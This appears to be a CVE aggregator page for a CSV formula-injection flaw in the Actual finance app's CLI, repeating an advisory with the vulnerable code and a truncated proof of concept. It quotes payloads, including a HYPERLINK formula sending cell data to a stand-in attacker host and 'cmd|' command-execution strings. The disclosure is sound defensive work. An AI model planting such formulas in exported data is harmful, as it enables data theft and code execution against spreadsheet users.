Every CVE Search/ Get API key

CVE-2026-46672

Actual: CSV Formula Injection in `@actual-app/cli` `--format csv` Output via Custom `escapeCsv` Helper

4.6 MediumFix available

Actual is a local-first personal finance app. Prior to 26.6.0, @actual-app/cli ships a hand-rolled CSV serializer in packages/cli/src/output.ts used whenever the global --format csv option is passed, whose escapeCsv helper only handles RFC 4180 delimiter, quote, and newline escaping and does not neutralize standard CSV formula-injection prefixes. Any CLI command that streams an object array containing user-controlled strings, including transactions list, accounts list, payees list, categories list, tags list, category-groups list, rules list, schedules list, and query, can emit cells that auto-evaluate when the resulting CSV is opened in Excel, LibreOffice Calc, or Google Sheets, enabling data exfiltration and arbitrary formula execution. This issue is fixed in version 26.6.0.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
Low
User interaction
Required

What an attacker can affect

Confidentiality
Low
Integrity
Low
Availability
None

Exploit likelihood

0.18%Up 0.2 points since Jun 13, 2026
90%50%10%1%

What each source reports

CVE List Score used 4.6

Actual: CSV Formula Injection in `@actual-app/cli` `--format csv` Output via Custom `escapeCsv` Helper

Actual is a local-first personal finance app. Prior to 26.6.0, @actual-app/cli ships a hand-rolled CSV serializer in packages/cli/src/output.ts used whenever the global --format csv option is passed, whose escapeCsv helper only handles RFC 4180 delimiter, quote, and newline escaping and does not neutralize standard CSV formula-injection prefixes. Any CLI command that streams an object array containing user-controlled strings, including transactions list, accounts list, payees list, categories list, tags list, category-groups list, rules list, schedules list, and query, can emit cells that auto-evaluate when the resulting CSV is opened in Excel, LibreOffice Calc, or Google Sheets, enabling data exfiltration and arbitrary formula execution. This issue is fixed in version 26.6.0.

Record
CVE-2026-46672
CVSS 3.1
4.6 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-1236
Updated
2026-11-02
EUVDEUVD-2026-42079 4.6

Actual is a local-first personal finance app. Prior to 26.6.0, @actual-app/cli ships a hand-rolled CSV serializer in packages/cli/src/output.ts used whenever the global --format csv option is passed, whose escapeCsv helper only handles RFC 4180 delimiter, quote, and newline escaping and does not neutralize standard CSV formula-injection prefixes. Any CLI command that streams an object array containing user-controlled strings, including transactions list, accounts list, payees list, categories list, tags list, category-groups list, rules list, schedules list, and query, can emit cells that auto-evaluate when the resulting CSV is opened in Excel, LibreOffice Calc, or Google Sheets, enabling data exfiltration and arbitrary formula execution. This issue is fixed in version 26.6.0.

Record
EUVD-2026-42079
CVSS 3.1
4.6 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-7gh7-258j-4mpq 4.6

@actual-app/cli `--format csv` Output Vulnerable to CSV Formula Injection via Custom `escapeCsv` Helper

Summary

@actual-app/cli ships a hand-rolled CSV serializer in packages/cli/src/output.ts (used whenever the global --format csv option is passed) whose escapeCsv helper only handles RFC 4180 delimiter/quote/newline escaping. It does not neutralize the standard CSV formula-injection prefixes (=, +, -, @, \t, \r). Any CLI command that streams an object array containing user-controlled strings — transactions list, accounts list, payees list, categories list, tags list, category-groups list, rules list, schedules list, query — will emit cells that auto-evaluate when the resulting CSV is opened in Excel, LibreOffice Calc, or Google Sheets, enabling data exfiltration (=HYPERLINK(...), =WEBSERVICE(...)) and arbitrary formula execution.

This is a distinct variant of the formula-injection surface in packages/loot-core/src/server/transactions/export/export-to-csv.ts (which uses csv-stringify and would need a separate cast option fix) — they are different files, different packages, and different serializers. Fixing one does not fix the other.

Details

Vulnerable code

packages/cli/src/output.ts:98-103:

function escapeCsv(value: string): string {
  if (value.includes(',') || value.includes('"') || value.includes('\n')) {
    return '"' + value.replace(/"/g, '""') + '"';
  }
  return value;
}

The helper performs only delimiter/quote/newline neutralization, which is sufficient for RFC 4180 parsing but irrelevant to spreadsheet formula evaluation. CSV double-quoting is invisible to Excel/Calc/Sheets — the unquoted cell value =HYPERLINK("http://attacker/?d="&B2,"Click") is still parsed as a formula by the spreadsheet, even when wrapped as "=HYPERLINK(""http://attacker/?d=""&B2,""Click"")" on disk.

Data flow to the sink

  1. The global --format option is registered at packages/cli/src/index.ts:53-57 with choices(['json','table','csv']) and applies to every subcommand.
  2. List/query subcommands invoke printOutput(data, format) (output.ts:105-107), which routes format === 'csv' to formatCsv (output.ts:71-96).
  3. For each row, every column is run through formatCellValue (output.ts:21-26):
    function formatCellValue(key: string, value: unknown): string {
      if (isAmountValue(key, value)) {
        return (value / 100).toFixed(2);
      }
      return String(value ?? '');
    }
    
    Only the fixed AMOUNT_FIELDS set (amount, balance, budgeted, etc.) gets numeric coercion. User-controlled string fields — payee.name, account.name, category.name, notes, tag names, rule descriptions, schedule names — are passed verbatim to escapeCsv.
  4. escapeCsv returns the value unmodified unless it contains ,, ", or \n. A payload such as =1+1, @SUM(...), +1+cmd|'/c calc'!A0, or -2+3+cmd|'/c calc'!A0 therefore lands in the output as a leading-character formula.

Exploitability conditions

  • The CLI is installed and used by the victim (@actual-app/cli is published with "bin": { "actual": "./dist/cli.js", "actual-cli": "./dist/cli.js" }).
  • The attacker can persist a malicious string in any user-controlled field of the budget. Realistic vectors:
    • Co-user / co-collaborator of a synced budget (multi-device, or attacker-controlled sync server).
    • Sending the victim a crafted OFX/QIF/CSV import file.
    • API write access (e.g., over a compromised sync session).
  • The victim runs actual <list-cmd> --format csv > out.csv and opens out.csv in a spreadsheet program. CSV files generated locally by the CLI are not gated by Office Protected View / Mark-of-the-Web, so formulas evaluate immediately.

There are no mitigations in the code path: no allowlist, no sanitizer, no cast option, no warning, and the CLI is shipped to end users via npm.

PoC

Setup (one-time — choose any user-controlled field; payee shown):

# Inject via the CLI's own write path (or via OFX/QIF/CSV…
Record
GHSA-7gh7-258j-4mpq
CVSS 3.1
4.6 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-1236
Updated
2026-11-02
NVD 4.6

Actual is a local-first personal finance app. Prior to 26.6.0, @actual-app/cli ships a hand-rolled CSV serializer in packages/cli/src/output.ts used whenever the global --format csv option is passed, whose escapeCsv helper only handles RFC 4180 delimiter, quote, and newline escaping and does not neutralize standard CSV formula-injection prefixes. Any CLI command that streams an object array containing user-controlled strings, including transactions list, accounts list, payees list, categories list, tags list, category-groups list, rules list, schedules list, and query, can emit cells that auto-evaluate when the resulting CSV is opened in Excel, LibreOffice Calc, or Google Sheets, enabling data exfiltration and arbitrary formula execution. This issue is fixed in version 26.6.0.

Record
CVE-2026-46672
CVSS 3.1
4.6 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-1236
Updated
2026-11-02
OSV 4.6

Actual: CSV Formula Injection in `@actual-app/cli` `--format csv` Output via Custom `escapeCsv` Helper

Actual is a local-first personal finance app. Prior to 26.6.0, @actual-app/cli ships a hand-rolled CSV serializer in packages/cli/src/output.ts used whenever the global --format csv option is passed, whose escapeCsv helper only handles RFC 4180 delimiter, quote, and newline escaping and does not neutralize standard CSV formula-injection prefixes. Any CLI command that streams an object array containing user-controlled strings, including transactions list, accounts list, payees list, categories list, tags list, category-groups list, rules list, schedules list, and query, can emit cells that auto-evaluate when the resulting CSV is opened in Excel, LibreOffice Calc, or Google Sheets, enabling data exfiltration and arbitrary formula execution. This issue is fixed in version 26.6.0.

Record
CVE-2026-46672
CVSS 3.1
4.6 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-1236
Updated
2026-11-02
OSVGHSA-7gh7-258j-4mpq 4.6

@actual-app/cli `--format csv` Output Vulnerable to CSV Formula Injection via Custom `escapeCsv` Helper

Summary

@actual-app/cli ships a hand-rolled CSV serializer in packages/cli/src/output.ts (used whenever the global --format csv option is passed) whose escapeCsv helper only handles RFC 4180 delimiter/quote/newline escaping. It does not neutralize the standard CSV formula-injection prefixes (=, +, -, @, \t, \r). Any CLI command that streams an object array containing user-controlled strings — transactions list, accounts list, payees list, categories list, tags list, category-groups list, rules list, schedules list, query — will emit cells that auto-evaluate when the resulting CSV is opened in Excel, LibreOffice Calc, or Google Sheets, enabling data exfiltration (=HYPERLINK(...), =WEBSERVICE(...)) and arbitrary formula execution.

This is a distinct variant of the formula-injection surface in packages/loot-core/src/server/transactions/export/export-to-csv.ts (which uses csv-stringify and would need a separate cast option fix) — they are different files, different packages, and different serializers. Fixing one does not fix the other.

Details

Vulnerable code

packages/cli/src/output.ts:98-103:

function escapeCsv(value: string): string {
  if (value.includes(',') || value.includes('"') || value.includes('\n')) {
    return '"' + value.replace(/"/g, '""') + '"';
  }
  return value;
}

The helper performs only delimiter/quote/newline neutralization, which is sufficient for RFC 4180 parsing but irrelevant to spreadsheet formula evaluation. CSV double-quoting is invisible to Excel/Calc/Sheets — the unquoted cell value =HYPERLINK("http://attacker/?d="&B2,"Click") is still parsed as a formula by the spreadsheet, even when wrapped as "=HYPERLINK(""http://attacker/?d=""&B2,""Click"")" on disk.

Data flow to the sink

  1. The global --format option is registered at packages/cli/src/index.ts:53-57 with choices(['json','table','csv']) and applies to every subcommand.
  2. List/query subcommands invoke printOutput(data, format) (output.ts:105-107), which routes format === 'csv' to formatCsv (output.ts:71-96).
  3. For each row, every column is run through formatCellValue (output.ts:21-26):
    function formatCellValue(key: string, value: unknown): string {
      if (isAmountValue(key, value)) {
        return (value / 100).toFixed(2);
      }
      return String(value ?? '');
    }
    
    Only the fixed AMOUNT_FIELDS set (amount, balance, budgeted, etc.) gets numeric coercion. User-controlled string fields — payee.name, account.name, category.name, notes, tag names, rule descriptions, schedule names — are passed verbatim to escapeCsv.
  4. escapeCsv returns the value unmodified unless it contains ,, ", or \n. A payload such as =1+1, @SUM(...), +1+cmd|'/c calc'!A0, or -2+3+cmd|'/c calc'!A0 therefore lands in the output as a leading-character formula.

Exploitability conditions

  • The CLI is installed and used by the victim (@actual-app/cli is published with "bin": { "actual": "./dist/cli.js", "actual-cli": "./dist/cli.js" }).
  • The attacker can persist a malicious string in any user-controlled field of the budget. Realistic vectors:
    • Co-user / co-collaborator of a synced budget (multi-device, or attacker-controlled sync server).
    • Sending the victim a crafted OFX/QIF/CSV import file.
    • API write access (e.g., over a compromised sync session).
  • The victim runs actual <list-cmd> --format csv > out.csv and opens out.csv in a spreadsheet program. CSV files generated locally by the CLI are not gated by Office Protected View / Mark-of-the-Web, so formulas evaluate immediately.

There are no mitigations in the code path: no allowlist, no sanitizer, no cast option, no warning, and the CLI is shipped to end users via npm.

PoC

Setup (one-time — choose any user-controlled field; payee shown):

# Inject via the CLI's own write path (or via OFX/QIF/CSV…
Record
GHSA-7gh7-258j-4mpq
CVSS 3.1
4.6 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-1236
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
@actual-app/cli
npm
before 26.6.0
26.6.0

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-46672 is a medium vulnerability (CVSS 4.6) in Actualbudget Actual, published June 22, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.18%, the 8th percentile. Fixed in @actual-app/cli 26.6.0.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open